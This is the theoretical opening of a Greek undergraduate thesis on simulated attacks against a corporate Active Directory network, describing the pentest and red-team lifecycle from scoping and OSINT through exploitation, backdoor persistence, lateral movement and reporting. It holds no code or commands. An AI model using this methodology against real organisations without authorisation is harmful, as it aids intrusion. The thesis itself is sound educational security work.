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ΠΕΡΙΛΗΨΗ 

Η παρούσα πτυχιακή εργασία ασχολείται με την καταγραφή τεχνικών 

επίθεσης σε εταιρική εγκατάσταση ενός Active Directory και στην υλοποίηση 

επίθεσης σε ένα τέτοιο περιβάλλον, στημένο σε εικονικές μηχανές, έτσι ώστε να 

προσφέρει τυπική απεικόνιση ενός εταιρικού δικτύου. Στο σενάριο της επίθεσης 

αυτής, θα γίνει εκμετάλλευση τόσο των αδυναμιών σε επίπεδο λογισμικού και της 

λάθος παραμετροποίησης αυτού, όσο και του ανθρώπινου παράγοντα, δηλαδή της 

εμπιστοσύνης που δείχνουν συγκεκριμένα πρόσωπα-κλειδιά σε άλλους 

ανθρώπους ή της επιπολαιότητας με την οποία αντιμετωπίζουν την προσωπική  

αλλά και εταιρική ψηφιακή ασφάλεια. Η εργασία μελετά την ασφάλεια από τη σκοπιά 

ενός Penetration Tester/Red Teamer, ενός ηθικού Hacker δηλαδή, ο οποίος έχει 

κληθεί από την ίδια την εταιρία να ανακαλύψει και να εκμεταλλευτεί κάθε πιθανό 

κενό ασφαλείας, και στη συνέχεια να συνεργαστεί με τους υπαλλήλους της εταιρίας 

για την κάλυψη των κενών ή τη μετρίαση των κινδύνων με άλλους τρόπους. 

Η καταγραφή όλων των τύπων επιθέσεων αλλά και του τρόπου που ένας 

επιτιθέμενος μπορεί χωρίς να παραβιάζει τα πρωτόκολλα και να αποκτήσει 

εξουσιοδοτημένη πρόσβαση σε ένα μηχάνημα ή ακόμα και στον ίδιο τον Domain 

Controller, έχει ως στόχο την αποκρυστάλλωση της μεθοδολογίας που 

ακολουθείται σήμερα στις εν λόγω επιθέσεις. 

 



Προσομοίωση επίθεσης σε εταιρικό δίκτυο με χρήση ασύμμετρων τεχνικών 
 

Ορέστης Κοκκόλης                                                                                                                           4 
 

ABSTRACT 

This project deals with the recording of attack techniques in a corporate 

installation of an Active Directory and in the implementation of an attack in such an 

environment, set up on virtual machines, so as to offer a typical perspective of a 

corporate network. In the scenario of this attack, there will be exploitation of both 

software-level vulnerabilities and the misconfigurations, as well as the human 

factor, ie the trust shown by certain key people to other people or the superficiality 

with which they deal with personal and corporate digital security. The project 

examines security from the perspective of a Penetration Tester / Red Teamer, a 

moral hacker who has been called upon by the company itself to discover and 

exploit any possible security gap, and then work with company employees, filling 

gaps or mitigating risks in other ways. 

The recording of all types of attacks and how an attacker can, without violating 

the protocols and gaining authorized access to a machine or even the Domain 

Controller itself, aims to demonstrate the methodology followed in these attacks 

today. 
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ΣΥΝΤΟΜΟΓΡΑΦΙΕΣ  

 

PT - Penetration Testing / Pentesting 

AD - Active Directory 

DC - Domain Controller 

OSINT - Open Source Intelligence 

Privesc - Privilege Escalation 

TGS - Ticket Granting Service 

TGT - Ticket Granting Ticket 

KDC - Key Distribution Center 

NTLM - New Technology LAN Manager 
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ΚΕΦΑΛΑΙΟ 1 

 

ΕΙΣΑΓΩΓΗ 

 

Η συγκεκριμένη πτυχιακή εργασία ασχολείται με τις δοκιμές ασφαλείας σε 

εταιρικά περιβάλλοντα, από δύο οπτικές γωνίες.  

Στο πρώτο μέρος, γίνεται μία εκτενής αναφορά στον τρόπο με τον οποίο 

είναι δομημένα τέτοια περιβάλλοντα, και τι είδους κενά ασφαλείας μπορεί ένας 

επιτιθέμενος να εκμεταλλευτεί, έτσι ώστε να αποκτήσει πρόσβαση σε πόρους και 

μηχανήματα στα οποία δε θα έπρεπε να έχει. Τα κενά ασφαλείας, δεν αφορούν 

αποκλειστικά λογισμικό το οποίο τρέχει σε παλαιότερες εκδόσεις, αλλά τις 

περισσότερες φορές, σχετίζεται με την κακές πρακτικές ή ρυθμίσεις ή γενικότερα 

λάθος διαχείριση σε σχέση με τη χρήση του λογισμικού.  

Στο δεύτερο μέρος επιχειρείται μία πρακτική επίδειξη εισβολής σε ένα τέτοιο 

περιβάλλον, βάζοντας στο κάδρο και τον ανθρώπινο παράγοντα. Δηλαδή 

εκμεταλλευόμαστε την ανθρώπινη εμπιστοσύνη και αφέλεια. Το μέρος αυτό, αφορά 

το στήσιμο ενός συνόλου μηχανημάτων σε εικονικές μηχανές, προσομοιώνοντας 

μία μικρή εταιρική εγκατάσταση. Στη συνέχεια προχωρούμε σε παραβίαση  

συστημάτων ακολουθώντας τα βήματα που έχουν περιγραφεί στην πρώτη ενότητα. 
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ΘΕΩΡΗΤΙΚΟ ΜΕΡΟΣ 

ΚΕΦΑΛΑΙΟ 2 

 

PENETRATION TESTING & RED TEAMING 

 

2.1 Τι είναι Penetration Testing 

Με τον όρο Penetration Testing περιγράφεται μια δοκιμή ασφαλείας η οποία 

περιλαμβάνει ένα σενάριο διείσδυσης στην υποδομή μιας εταιρίας από έναν 

επαγγελματία μηχανικό ασφαλείας / ηθικό χάκερ ο οποίος επιχειρεί να ανακαλύψει 

κενά ασφαλείας που υπάρχουν σε λογισμικά, δίκτυα, διαδικτυακές εφαρμογές της 

εταιρίας, ή λάθη και παραλήψεις στις ρυθμίσεις που έχουν γίνει. Η διαδικασία 

συνήθως περιλαμβάνει κάποια τυποποιημένα στάδια, τα οποία διασφαλίζουν πως 

και οι δύο πλευρές πληρούν ορισμένες προϋποθέσεις. Συνήθως ο pentester έχει 

πολύ συγκεκριμένο φάσμα ενεργειών στις οποίες μπορεί να προβεί, οι οποίες 

καθορίζονται πριν την έναρξη της εμπλοκής και υπογράφονται και από τα δύο μέρη, 

στο έγγραφο οριοθέτησης. Στόχος είναι η κατά το δυνατόν μεγαλύτερη κάλυψη 

σεναρίων επιθέσεων, με τον μηχανικό ασφαλείας να προσπαθεί να βρει όσο το 

δυνατόν περισσότερα κενά ασφαλείας.  

 

2.2 Τι είναι Red Teaming 

Με τον όρο αυτό, περιγράφονται οι ενέργειες μιας ομάδας ατόμων οι οποίες 

αποσκοπούν στην προσυμφωνημένη επίτευξη ενός στόχου μέσω μεθόδων και 

πρακτικών οι οποίες είναι φαινομενικά ασύνδετες μεταξύ τους. Μια red teaming 

ομάδα, έχει ως στόχο την εύρεση αδυναμιών που δεν έχουν να κάνουν μόνο με την 

υλικοτεχνική υποδομή και τον τρόπο με τον οποίο αυτή είναι ρυθμισμένη, αλλά και 

αδυναμιών που σχετίζονται με τη διαχείριση, την τήρηση διαδικασιών και 

πρωτοκόλλων κ.ο.κ. Οι μέθοδοι που ακολουθούνται σε αυτήν την περίπτωση, είναι 

λιγότερο συμβατικές, αφού εντός των ορίων μπορούν να θεωρηθούν μεταξύ άλλων, 

η φυσική διάρρηξη των γραφείων, η πλαστογράφηση εντύπων, εταιρικών 

εγγράφων και διαπιστευτηρίων, η πλαστοπροσωπία και η χρήση κοινωνικής 

μηχανικής (social engineering). Εδώ ο στόχος είναι συνήθως πιο συγκεκριμένος, 
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και μπορεί να ζητηθεί από την ομάδα να πάρει πρόσβαση σε συγκεκριμένο 

υπολογιστή ή να αποσπάσει κάποιο έγγραφο από συγκεκριμένο εξυπηρετητή του 

εσωτερικού δικτύου. 

 

2.3 Ομοιότητες και διαφορές 

Οι ομοιότητες των δύο αυτών τεχνικών, μπορούν να συνοψιστούν στο ότι 

προσπαθούν να εκμεταλλευτούν κενά ασφαλείας για να μπορέσουν να πάρουν μη 

εξουσιοδοτημένη πρόσβαση σε πόρους συστημάτων και μετά το πέρας της 

εμπλοκής, να συνεργαστούν με την εταιρία στην οποία «επιτέθηκαν», για να τα 

καλύψουν. 

Διαφέρουν όμως στον τρόπο με τον οποίο προσπαθούν οι επιτιθέμενοι να 

φτάσουν στον τελικό στόχο, αφού μια red team θα προσπαθήσει με ανορθόδοξους 

τρόπους να αποσπάσει πληροφορίες και να αποκτήσει μη εξουσιοδοτημένη 

πρόσβαση σε υπολογιστές και έγγραφα. 
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ΚΕΦΑΛΑΙΟ 3 

 

ΕΙΔΗ PENTESTING 

 

3.1 Με βάση την υποδομή 

 

3.1.1 Εσωτερικό 

Σε μια εσωτερική δοκιμή ασφαλείας, προσπαθούμε να διαπιστώσουμε το κατά 

πόσο υπάρχουν ευπάθειες κυρίως σε επίπεδο δικτύου. Σε αυτό το σενάριο, ο 

επιτιθέμενος βρίσκεται σε θέση εντός του εταιρικού δικτύου, συνήθως με πολύ λίγα 

δικαιώματα, και καλείται να αποκτήσει μη εξουσιοδοτημένη πρόσβαση οπουδήποτε 

αυτό είναι δυνατόν. Τα πλεονεκτήματα μια εσωτερικής δοκιμής ασφαλείας είναι πως 

ο επιτιθέμενος μπορεί να δοκιμάσει μια πιο ολιστική προσέγγιση στις επιθέσεις του, 

δηλαδή έχοντας γνώση των εσωτερικών δικτυακών δομών, μπορεί να εξετάσει την 

ασφάλεια, σε πιο ολοκληρωμένο επίπεδο. Στη μέθοδο αυτή, ο επιτιθέμενος 

συνήθως αποκτά πρόσβαση σε πολλαπλά μηχανήματα με χαμηλά δικαιώματα, 

πριν προχωρήσει σε πρόσβαση σε μηχανήματα ή λογαριασμούς με αυξημένα 

δικαιώματα (administator). 

 

3.1.2 Εξωτερικό 

 Σε μια εξωτερική δοκιμή ασφαλείας, o επιτιθέμενος τοποθετείται σε 

υποδομές οι οποίες είναι δημοσίως διαθέσιμες και προσβάσιμες από όλους, όπως 

για παράδειγμα διαδικτυακές εφαρμογές, APIs, κτλ. Στόχος είναι ο επιτιθέμενος να 

μπορέσει να μεταβεί από την πρόσβαση στις εξωτερικές αυτές εφαρμογές, σε 

υποδομές δικτυακές/εσωτερικές ή σε μηχανήματα που υποστηρίζουν τις εν λόγω 

εφαρμογές πχ διαδικτυακούς εξυπηρετητές (web servers). 

 

3.2 Με βάση τα δεδομένα που έχουμε για την υποδομή 
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3.2.1 White Box 

 Ως δοκιμή ασφαλείας White Box (λευκό κουτί) μπορεί να οριστεί ένα σενάριο 

διείσδυσης στο οποίο παρέχονται όλες οι δυνατές πληροφορίες στον επιτιθέμενο, 

οι οποίες ανάλογα με την υπό εξέταση υποδομή μεταβάλλονται. Σε ένα σενάριο 

δικτυακής επίθεσης, ο επιτιθέμενος θα έχει τον πλήρη χάρτη του 

δικτύου/υποδικτύου στο οποίο θα κάνει την επίθεση. Ενώ σε ένα σενάριο εξέτασης 

μιας διαδικτυακής εφαρμογής, θα υπάρχει πρόσβαση στον πηγαίο κώδικα της 

υποδομής της εφαρμογής (back-end source code). 

 

3.2.2 Grey Box 

 Το Grey Box (γκρι κουτί) είναι μια ενδιάμεση κατάσταση σε σχέση με τα 

White / Black Box, οπού ο επιτιθέμενος, έχει μερική γνώση της υποδομής. Στο 

σενάριο της δικτυακής επίθεσης, μπορεί να είναι γνωστό στον επιτιθέμενο, το πως 

είναι διαχωρισμένα τα υποδίκτυα, ή οι θέσεις των υποδομών δευτέρου επιπέδου 

(switches). Ενώ σε ένα εξωτερικό σενάριο, επίθεσης σε διαδικτυακή εφαρμογή, θα 

μπορούσε να είναι γνωστή η δομή της βάσης δεδομένων, ή να έχει ένα κομμάτι 

μόνο του πηγαίου κώδικα. 

 

3.2.3 Black Box 

 Όπως γίνεται αντιληπτό, στην περίπτωση του Black Box (μαύρο κουτί), ο 

επιτιθέμενος δε λαμβάνει καμία εσωτερική επιπρόσθετη πληροφορία, βάζοντας τον 

έτσι στη θέση ενός μέσου κακόβουλου χρήστη. Το σενάριο αυτό είναι το πιο 

συνηθισμένο, και αυτό που καλούνται συνήθως οι επαγγελματίες να εκπληρώσουν, 

μιας και πρόκειται για το πλέον ρεαλιστικό σενάριο επίθεσης. Από την άλλη πλευρά, 

πρέπει να σημειωθεί, πως το ένα βασικό μειονέκτημα της συγκεκριμένης 

προσέγγισης, είναι πως σε περίπτωση που ο επιτιθέμενος δε μπορέσει να 

διασπάσει την περίμετρο, τα ενδεχόμενα κενά ασφαλείας των επιπέδων πίσω από 

την περίμετρο δε θα χαρτογραφηθούν ποτέ, αφήνοντας την υποδομή εκτεθειμένη. 

  

Εν κατακλείδι, ενώ η δοκιμή ασφαλείας μαύρου κουτιού είναι η πιο ρεαλιστική 

μέθοδος δοκιμών, μπορεί να απαιτεί θυσία χρόνου και αποτελεσματικότητας σε 

λιγότερο σημαντικές περιοχές έκθεσης σε επιθέσεις με αποτέλεσμα την πιθανότητα 

να παραλειφθούν οι εσωτερικές ευπάθειες υψηλού κινδύνου. Η δοκιμή διείσδυσης 
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γκρι κουτιού είναι η πιο αποτελεσματική και επιτρέπει στους μηχανικός ασφαλείας 

να εστιάσουν την προσοχή τους σε πιο σημαντικές περιοχές εντός του δικτύου, 

αυξάνοντας τα καλυπτόμενα σενάρια επίθεσης και την αποτελεσματικότητα της 

συνολικής δοκιμής. Η δοκιμή λευκού κουτιού είναι η πιο ολοκληρωμένη, αλλά 

απαιτεί να διατεθούν πολλά στοιχεία και γνώσεις στον επιτιθέμενο, ώστε να 

μεγιστοποιηθεί η πιθανότητα, όλων των εσωτερικών και εξωτερικών τρωτών 

σημείων να αναγνωριστούν και να  μετριαστούν. Στο τέλος, όλες οι προσεγγίσεις 

εξαρτώνται από το πώς η προσομοίωση επίθεσης θα ωφελούσε περισσότερο τον 

οργανισμό. Ο καθορισμός της βέλτιστης προσέγγισης προκύπτει με γνώμονα τις 

πτυχές που ο πελάτης θέλει να καλύψει στα σενάρια της επίθεσης και είναι 

απαραίτητος για το σχεδιασμό μιας προσαρμοσμένης προσέγγισης που θα 

ικανοποιεί αποτελεσματικά τις απαραίτητες απαιτήσεις ασφάλειας. 

 

3.3 Προ εμπλοκής 

 

3.3.1 Έγγραφο Οριοθέτησης / Κανόνες εμπλοκής 

 Το έγγραφο οριοθέτησης είναι ένα από τα πιο βασικά κομμάτια μιας δοκιμής 

διείσδυσης, μιας και καθορίζει το τι επιτρέπεται και τι είναι εκτός ορίων για τον 

επιτιθέμενο, το χρόνο και τη διάρκεια που η δοκιμή θα λάβει χώρα, το κόστος, και 

γενικότερα επηρεάζει άμεσα την ποιότητα υπηρεσίας που θα προσφέρει ο 

μηχανικός ασφαλείας. Το έγγραφο αυτό συντάσσεται σε πολλαπλά στάδια, που 

ενδιάμεσα τους παρεμβάλλεται επικοινωνία ανάμεσα στον ενδιαφερόμενο 

οργανισμό και το μηχανικό ασφαλείας, μέχρι να καθοριστούν οι προτεραιότητες του 

οργανισμού, και να μπορέσει να φτιαχτεί ένα σχέδιο σεναρίου που να ικανοποιεί 

και τις δύο πλευρές. 

 

3.3.2 Παθητική αναγνώριση στόχου / OSINT 

 Η παθητική αναγνώριση αποτελεί το πρώτο στάδιο στο οποίο ο μηχανικός 

ασφαλείας ξεκινάει την εφαρμογή του σεναρίου. Η αναγνώριση αυτή μπορεί να 

περιλαμβάνει οτιδήποτε κρίνει ο μηχανικός ότι μπορεί να θεωρηθεί χρήσιμο σε 

κάποιο επόμενο στάδιο, με την προϋπόθεση πως δε θα υπάρχει σε καμία 

περίπτωση αλληλεπίδραση με τον οργανισμό. Άρα συνήθως περιοριζόμαστε στην 

αναζήτηση σε πηγές δημοσίως διαθέσιμες. Οι καταγραφές των DNS, οι διαρροές 
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δεδομένων (data leaks), τα προσβάσιμα δεδομένα του οργανισμού, τα προφίλ 

κοινωνικών και επαγγελματικών δικτύων των υπαλλήλων, είναι μερικά 

παραδείγματα πηγών από τις οποίες ο μηχανικός θα αντλήσει πληροφορίες τις 

οποίες θα χρησιμοποιήσει στα επόμενα στάδια. Φαίνεται τετριμμένο και ίσως 

ασήμαντο, αλλά συνήθως μια καλή έρευνα σε αυτό το στάδιο, οδηγεί συνήθως σε 

επιτυχημένη διείσδυση σε επόμενο στάδιο, αφού οι άνθρωποι τείνουν να 

επαναχρησιμοποιούν τα διαπιστευτήριά τους σε πολλαπλές πλατφόρμες και ακόμα 

και σε επαγγελματικούς / εταιρικούς λογαριασμούς. Αξίζει να σημειώσουμε, πως η 

μέθοδος αυτή είναι και αυτή που προτιμάται από τους κακόβουλους χρήστες μιας 

και δεν αφήνει αφενός κανένα ίχνος και αφετέρου δε δίνει στον οργανισμό-θύμα τη 

δυνατότητα να αμυνθεί με οποιονδήποτε τρόπο. 

 

3.3.3 Ενεργητική αναγνώριση στόχου 

 Μετά την εξάντληση των δημοσίως διαθέσιμων πηγών, ερχόμαστε σε 

αναγνώριση μέσω αλληλεπίδρασης. Σε σενάριο εξωτερικής επίθεσης, αυτό μπορεί 

να περιλαμβάνει επίθεση με λεξικό για εύρεση subdomains και directories, ενώ σε 

ένα σενάριο εσωτερικής επίθεσης, τη σάρωση του δικτύου για εύρεση σημαντικών 

κόμβων και δικτυακών υπηρεσιών που τρέχουν. Με τον τρόπο αυτό, μπορούμε να 

βρούμε εκδόσεις λειτουργικών και υπηρεσιών, καθώς και τι ακριβώς υπηρεσίες 

τρέχουν σε ποια πόρτα. 

 

3.3.4 Επιλογή σημείου εισόδου 

 Εφόσον ο μηχανικός ασφαλείας έχει συγκεντρώσει πλέον όλα τα ευρήματα 

από την αναγνώριση, κάνει διαλογή αφαιρώντας τα άχρηστα ή/και περιττά, τα 

εξετάζει,  τα αξιολογεί και επιλέγει συνήθως το πιο ευάλωτο σημείο για να ξεκινήσει 

το χτύπημα. Η επιλογή αυτή έχει να κάνει τόσο με υποκειμενικά κριτήρια, όσο και 

με αντικειμενικούς παράγοντες. Για παράδειγμα, εάν έχουμε ένα μηχάνημα που έχει 

ανοιχτό το δικτυακό διαμοιρασμό αρχείων με το πρωτόκολλο SMB/CIFS, και 

ταυτόχρονα τρέχει και μια υπηρεσία SSH ως εξυπηρετητής, είναι σχεδόν 

μονόδρομος το να προσπαθήσουμε να επιτεθούμε στο SMB, μιας και προσφέρει 

μεγαλύτερη επιφάνεια επίθεσης. Είναι ένα πρωτόκολλο το οποίο έχει πάρα πολλά 

δημοσιευμένα κενά ασφαλείας και είναι υπό προϋποθέσεις, ευάλωτο σε επιθέσεις 

τύπου Man-In-The-Middle (MITM), όπως θα δούμε παρακάτω. Με λίγα λόγια 
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πράττουμε αυτό που διαισθητικά είναι πιο λογικό, σχεδόν πάντα ψάχνουμε να 

βρούμε το σημείο με τη μεγαλύτερη πιθανότητα να μας δώσει πιο εύκολα μη 

εξουσιοδοτημένη πρόσβαση. 

 

3.4 Εμπλοκή 

 

3.4.1 Απαρίθμηση 

Στην απαρίθμηση ο μηχανικός καλείται να φτιάξει μία λίστα με τα πιθανά 

μονοπάτια που με βάση τα σημεία εισόδου που έχει βρει, θα μπορούσαν να 

οδηγήσουν σε επιτυχή παραβίαση ενός συστήματος. Τα πιθανά μονοπάτια 

φτιάχνονται με βάση την πρότερη εμπειρία και με γνώμονα των αριθμό των 

ευπαθειών που παρουσιάζουν συγκεκριμένα πρωτόκολλα ή λογισμικά τα οποία 

χρησιμοποιούνται από συγκεκριμένο μηχάνημα ή το δίκτυο στο οποίο 

πραγματοποιείται η επίθεση.  

 

3.4.2 Αξιολόγηση ευπαθειών 

Αφού φτιαχτεί αυτή η λίστα, ο μηχανικός ασφαλείας προχωρά στην 

αξιολόγηση των ευρημάτων αυτών. Από την αξιολόγηση αυτή θα προκύψει και η 

μετάβαση στο τελικό στάδιο, δηλαδή στην εκμετάλλευση. Η αξιολόγηση των 

ευπαθειών γίνεται κυρίως με κριτήριο τη βαθμολογία που έχουν συγκεντρώσει 

βάσει κάποιας βάσης δεδομένων η οποία ταξινομεί και τις ευπάθειες σε σχέση με 

διάφορους δείκτες, οι οποίοι ανάλογα με το εάν είναι αληθείς ή όχι, προσθέτουν ή 

αφαιρούν πόντους. Τέτοιοι δείκτες περιλαμβάνουν παραδείγματος χάριν, το εάν 

μπορεί να γίνει εκμετάλλευση απομακρυσμένα ή όχι, εάν με την ευπάθεια 

αποκτούμε πρόσβαση διαχειριστή ή όχι, εάν χρειαζόμαστε δικαιώματα διαχειριστή 

για να μπορέσουμε να χρησιμοποιήσουμε την ευπάθεια, κτλ. Δύο τέτοιες πολύ 

δημοφιλείς βάσεις, είναι η βάση του Εθνικού Ινστιτούτου Ευπαθειών των ΗΠΑ (U.S. 

National Vulnerability Database) και η βάση Κοινών Ευπαθειών και Εκθέσεων 

(Common Vulnerabilities and Exposures). 
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3.4.3 Εκμετάλλευση ευπαθειών 

Έχοντας φτάσει στο στάδιο αυτό, ο μηχανικός γνωρίζει πλέον με ποιον 

ακριβώς τρόπο θα κινηθεί, και ποια ευπάθεια θα χρησιμοποιήσει για να επιτύχει το 

στόχο του. Η εκμετάλλευση μπορεί να γίνει είτε μέσω κάποιας σουίτας η οποία είναι 

φτιαγμένη για αυτό το σκοπό, περιλαμβάνει δηλαδή χιλιάδες δείγματα από 

ευπάθειες μαζί με τον κώδικα που τις εκμεταλλεύεται, και έτσι ο μηχανικός έχει στη 

διάθεσή του ό,τι χρειάζεται με μερικά πολύ τυποποιημένα βήματα, είτε μπορεί να 

γράψει ο ίδιος από το μηδέν μια δική του υλοποίηση της εκμετάλλευσης της 

ευπάθειας. Με τη χρήση της σουίτας, μπορούμε πιο εύκολα να έχουμε εγγυημένα 

σταθερό αποτέλεσμα, και η ταχύτητα με την οποία μπορούμε να εξαπολύσουμε την 

επίθεση είναι τάξεις μεγέθους μεγαλύτερη από την δεύτερη μέθοδο. Έτσι όμως ο 

μηχανικός δεν έρχεται σχεδόν ποτέ σε επαφή με τον κώδικα, και χρησιμοποιεί την 

έτοιμη λύση, αλλά όταν θα κληθεί να γράψει μόνος του μία, θα είναι αρκετά 

δυσκολότερο, λόγω της μικρότερης εξοικείωσης με τον κώδικα. 

Η ίδια διαδικασία θα επαναληφθεί βήμα προς βήμα για κάθε νέο λογαριασμό 

που καταφέρνουμε να παραβιάσουμε και για κάθε νέο μηχάνημα το οποίο 

καταφέρνουμε να ‘’ρίξουμε’’. 

 

3.5 Μετά εμπλοκής 

 

3.5.1 Επιμονή / εγκατάσταση κερκόπορτας (persistence / 

backdoor) 

Οι φάσεις που ακολουθούν μετά το πέρας των φάσεων της προ-εμπλοκής και της 

εμπλοκής δεν εφαρμόζονται πάντα. Ανάλογα με το ποιος είναι ο αντικειμενικός 

στόχος της δοκιμής ασφαλείας, ο μηχανικός μπορεί να προσπεράσει το στάδιο 

αυτό. Παρ’ όλ’ αυτά, εάν ο μηχανικός επιθυμεί να έχει διαρκή πρόσβαση σε κάποιο 

κομβικό μέρος του δικτύου, τότε εφ’ όσων πάρει πρόσβαση, θα πρέπει να 

εγκαταστήσει κάποια κερκόπορτα για να τη διατηρήσει. Μάλιστα η 

αποτελεσματικότητα αυξάνεται κατακόρυφα εάν μπορέσει να χρησιμοποιήσει και 

τις δυνατότητες που το ίδιο το λειτουργικό σύστημα παρέχει, σε σχέση με την 

εφαρμογή της κερκόπορτας σε κάθε εκκίνηση του συστήματος, ώστε να διατηρείται 

η πρόσβαση ακόμα και μετά από επανεκκίνηση. Τέτοιες λειτουργίες είναι για 

παράδειγμα, ο Task Scheduler των Windows και τα cronjobs στο Linux. 
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3.5.2 Οριζόντια κίνηση 

Ο επιτιθέμενος θα χρησιμοποιήσει διαφορετικά εργαλεία και μεθόδους για 

να αποκτήσει υψηλότερα προνόμια και πρόσβαση, επιτρέποντάς του να 

μετακινηθεί πλευρικά μεταξύ συσκευών και εφαρμογών μέσω του δικτύου για να 

χαρτογραφήσει το σύστημα, να προσδιορίσει νέους στόχους και τελικά να φτάσει 

στα πιο σημαντικά τμήματα της ψηφιακής υποδομής του οργανισμού. Εάν ο 

επιτιθέμενος καταφέρει να εξασφαλίσει δικαιώματα διαχειριστή, οι κακόβουλες 

δραστηριότητες πλευρικής κίνησης μπορεί να είναι εξαιρετικά δύσκολο να 

εντοπιστούν, καθώς μπορεί να εμφανιστεί ως "κανονική" κίνηση δικτύου σε 

λογισμικά ανίχνευσης κακόβουλης δραστηριότητας βάσει δικτυακής κίνησης 

(Network based Intrusion Detection Systems). 

 

3.5.3 Συλλογή Στοιχείων 

Η συλλογή στοιχείων δεν είναι τίποτα περισσότερο, από την καταγραφή της 

διαδικασίας, από το πρώτο μέχρι το τελευταίο βήμα με λεπτομέρειες, ώστε με μόνο 

δεδομένο τη συγκεκριμένη καταγραφή, κάποιος να μπορεί να αναπαράγει 

ολόκληρη τη διαδικασία. Η καταγραφή συνήθως συνοδεύεται από τα ανάλογα 

στιγμιότυπα οθόνης, καθώς και τις ιδιόχειρες σημειώσεις του μηχανικού που 

διεξήγαγε την επίθεση. 

 

3.6 Εκθέσεις 

Τα στάδια που ακολουθούν μετά τη συλλογή στοιχείων, πραγματοποιούνται 

εκτός του χρόνου που έχει προκαθοριστεί στη συμφωνία, και υπολογίζονται 

χωριστά. Δηλαδή, πάντα ορίζουμε ρητά τη διάρκεια της συγγραφής των εκθέσεων, 

η οποία πρέπει στο έγγραφο να διαχωρίζεται από τη διάρκεια της κυρίως εμπλοκής 

και της συλλογής στοιχείων, μιας και ο οργανισμός τον οποίο επιβάλλουμε σε 

δοκιμασία θα πρέπει να γνωρίζει ακριβώς ποιες ώρες και μέρες και για τι χρονικό 

διάστημα, οι υποδομές ενδεχομένως να υπολειτουργούν. Ακόμα πολύ σημαντικό 

είναι, πως κατά τη διάρκεια της δοκιμής, ο πελάτης μπορεί να χρειάζεται να 

απενεργοποιήσει κάποια μέτρα ασφαλείας πχ. WAF, τα οποία αυξάνουν 

αυτομάτως την πιθανότητα να δεχθεί επίθεση με κακόβουλα κίνητρα. Οπότε γίνεται 
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εύκολα αντιληπτό, πως χρειάζεται να μπορεί να ορίσει με ακρίβεια το πόσες ώρες 

θα χρειαστεί να μείνει εκτεθειμένη η υποδομή. 

 

3.6.1 Έκθεση εκτελεστικών στελεχών 

Η έκθεση η οποία απευθύνεται στα εκτελεστικά στελέχη είναι κατά βάση μια 

πολύ συνοπτική περιγραφή των ευρημάτων, δίνοντας έμφαση σε μια πιο 

εποπτική/γενική αναφορά σχετικά με την κατάσταση που βρίσκεται η ασφάλεια, 

χωρίς να γίνεται χρήση τεχνικών όρων και πάντα βασικός πυλώνας στη σύνταξή 

της, είναι πως προορίζεται για στελέχη τα οποία δεν έχουν καμία τεχνική γνώση, 

και δε μπορούν να έχουν εποπτεία της κατάστασης σε επίπεδο τόσο υλικού, όσο 

και λογισμικού. Είναι όμως τα στελέχη αυτά τα οποία θα κληθούν να πάρουν την 

τελική απόφαση για την περεταίρω θωράκιση ή μη του οργανισμού τους, οπότε 

είναι στο χέρι του μηχανικού ασφαλείας να συντάξει μια έκθεση ικανή να πείσει τα 

στελέχη για τις βελτιωτικές ενέργειες που θα προτείνει. 

 

3.6.2 Τεχνική έκθεση 

Στον αντίποδα, η τεχνική έκθεση αποτελεί μια ευθεία αναφορά στους 

περισσότερο τεχνικά καταρτισμένους υπαλλήλους, οι οποίοι είναι συνήθως 

sysadmins, IT, Lead devs. Πέραν της συνοπτικής περιγραφής των ευρημάτων, 

διανθισμένα με στατιστικά στην αρχή της έκθεσης και μιας αξιολόγησης σχετικά με 

την κατάσταση που βρίσκεται η ασφάλεια, στα ενδότερα της έκθεσης γίνεται πολύ 

αναλυτική αναφορά σε όλα τα ζητήματα που προέκυψαν, χρησιμοποιώντας και τα 

στιγμιότυπα οθόνης τα οποία έχουμε πάρει από προηγούμενο στάδιο της 

διαδικασίας. Επίσης αν τα κενά ασφαλείας αφορούν γνωστές ευπάθειες, πάντα 

αναφέρουμε τον αριθμό της ευπάθειας που εντοπίσαμε και προαιρετικά εάν έχει 

δοθεί και όνομα σε αυτή πχ EternalBlue CVE-2017-0143, όπως και τη σοβαρότητα 

της ευπάθειας (συνήθως εκφράζεται σε κλίμακα 1-10). Πάντα χρησιμοποιούμε 

υπερσυνδέσμους που οδηγούν σε περισσότερες τεχνικές πληροφορίες σε σχέση 

με τις ευπάθειες και προτιμούμε οι σύνδεσμοι αυτοί να έχουν τη σφραγίδα μιας 

έγκριτης αρχής, όπως πχ το NVD. 

 

3.6.2.1 Αντιμετώπιση / Μετρίαση κινδύνου 
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Ακριβώς μετά την αναφορά στα ευρήματα, ακολουθεί η ενότητα στην οποία 

ο μηχανικός ασφαλείας προχωρά στο να παραθέσει τους τρόπους με τους οποίους 

θα πρέπει το τεχνικό προσωπικό να θωρακίσει τα συστήματα και να καλύψει τις 

ευπάθειες που έχουν βρεθεί. Ακόμα μπορεί να προτείνει και αλλαγές στον τρόπο 

λειτουργίας υπηρεσιών και διαδικασιών που οι ψηφιακές υποδομές χρησιμοποιούν. 

Οι προτάσεις αυτές μπορούν να στοιχειοθετηθούν με τη βοήθεια υπερσυνδέσμων. 

 

 

3.6.2.2 Βελτιώσεις 

Οι βελτιώσεις αφορούν μια πιο αφηρημένη αναφορά σε μεθόδους και 

πρακτικές, που είναι καλό να χρησιμοποιούνται, ώστε να μην προκύψουν ανάλογα 

κενά ασφαλείας στο μέλλον. Οι άμεσα ενδιαφερόμενοι σε αυτού του τύπου τις 

προτάσεις, είναι οι άνθρωποι οι οποίοι καλούνται να επιδιορθώσουν τα κενά 

ασφαλείας, με βάση τις υποδείξεις του μηχανικού ασφαλείας. Σε πολλές 

περιπτώσεις, ο μηχανικός ασφαλείας αντί της ξεχωριστής ενότητας μέσα στην 

αναφορά των γενικότερων βελτιώσεων, καλείται και κάνει αυτοπροσώπως 

παρουσίαση στο τεχνικό προσωπικό, όπου παρουσιάζει με μεγάλη λεπτομέρεια, 

τον τρόπο με τον οποίο το προσωπικό θα πρέπει να προχωρά στην εφαρμογή 

όλων των αντίμετρων. 

 

3.6.2.3 Προτάσεις 

Αρκετά σπανιότερα συναντάμε πιο γενικές προτάσεις, που αφορούν κυρίως 

αυτούς που είναι υπεύθυνοι σχεδιασμού ή ακόμα και υπεύθυνοι εξοπλισμού. Το 

κομμάτι αυτό, αναφέρεται στη γενικότερη στρατηγική και το σχεδιασμό από πάνω 

προς τα κάτω (top down), και το βλέπουμε κυρίως σε μεγαλύτερης εμβέλειας 

